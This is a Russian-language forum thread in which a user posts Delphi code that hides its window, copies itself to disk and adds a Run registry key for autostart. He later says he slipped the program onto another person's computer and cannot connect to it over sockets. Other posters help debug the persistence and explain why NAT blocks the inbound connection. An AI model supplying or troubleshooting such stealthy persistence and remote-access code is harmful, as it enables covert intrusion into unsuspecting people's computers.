DLF реееееееестр

[Denever]

procedure ZAPISIVAEM;
var
  h: TRegistry;
begin
  h := TRegistry.Create;
  with h do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
    WriteString('nazvanie', 'C:\kuda\newName.format');
    CloseKey;
    Free;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:=false;
CopyFile('FileName.format', 'C:\Kuda\newName.format', True);
ZAPISIVAEM;
end;

end.

Файл копирует.
А вот в автозагрузку не записывает..
OC: Windows 7
В чём проблема?

[vahes]

от имени админа запускал?

[Denever]

И с правами запускал и без.

[xkor]

Сообщение от Denever

А вот в автозагрузку не записывает..

как ты это проверял? Если просмотром реестра через редактор а винда у тебя 64битная, то если я правильно помню (50 на 50 что я путаю ветку реестра) твой код запишет автозапуск не совсем туда куда ты думаешь ибо там для 64битных программ а 32битные прозрачно переадрусуются на какую то специальную ветку. Так что лучше проверь запускается ли программа, а не должна ли она запускаться + возможно в msconfig будет видно добавилась ли прога в автозапуск.
ЗЫ повторюсь что я не уверен что о правильной ветке думаю, точно помню что какая то для 32битного кода прозрачно переадресовывалась, но какая именно не помню

[Denever]

Проверил - загружается при старте ОС.
Но есть проблема с ServerSocket & ClientSocket.
Впарил я 1 челу только вот подключиться нельзя хз в чём проблема.. На локалке свободно.

[Morfik]

если брать вариант что у него нету фаервола, то многие сидят за НАТом (роутеры) - с ним ты не инициируеш подключения первый